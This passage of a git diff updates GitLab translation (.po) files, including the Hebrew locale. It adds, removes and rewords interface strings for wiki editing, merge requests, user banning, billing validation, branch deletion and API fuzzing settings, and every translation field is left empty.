msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/he_IL/gitlab.po b/locale/he_IL/gitlab.po
index 6faf4772d19..5b402436b72 100644
--- a/locale/he_IL/gitlab.po
+++ b/locale/he_IL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: he\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:21\n"
+"PO-Revision-Date: 2021-06-01 20:39\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -341,6 +341,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -685,9 +692,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -790,10 +794,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -936,6 +940,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -989,9 +999,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1120,9 +1127,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1186,9 +1199,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1572,6 +1582,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1593,6 +1606,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1662,9 +1678,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1677,6 +1690,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1722,9 +1738,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1764,30 +1777,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1803,7 +1810,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1830,6 +1837,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -2097,6 +2113,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2373,6 +2392,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2538,9 +2560,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2553,9 +2572,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2580,9 +2596,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2628,6 +2641,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2646,6 +2662,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2694,6 +2713,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2724,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2778,6 +2815,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2859,6 +2899,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2874,6 +2923,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2886,6 +2941,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2910,6 +2968,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2922,6 +2983,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2967,9 +3031,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -3010,9 +3071,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3382,9 +3440,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3487,6 +3542,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3700,6 +3758,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3793,9 +3854,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3865,7 +3923,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4346,6 +4404,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4376,16 +4437,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4970,7 +5028,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5039,6 +5097,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5195,6 +5256,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5213,6 +5277,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5228,6 +5295,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5246,6 +5316,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5261,6 +5334,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5273,6 +5367,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5282,6 +5379,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5516,6 +5619,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5528,6 +5634,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5537,6 +5646,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5558,12 +5673,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5597,6 +5718,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5609,6 +5733,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5678,6 +5814,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5690,9 +5829,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5759,9 +5904,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5810,15 +5952,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5829,6 +5971,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6522,7 +6667,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6906,72 +7051,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
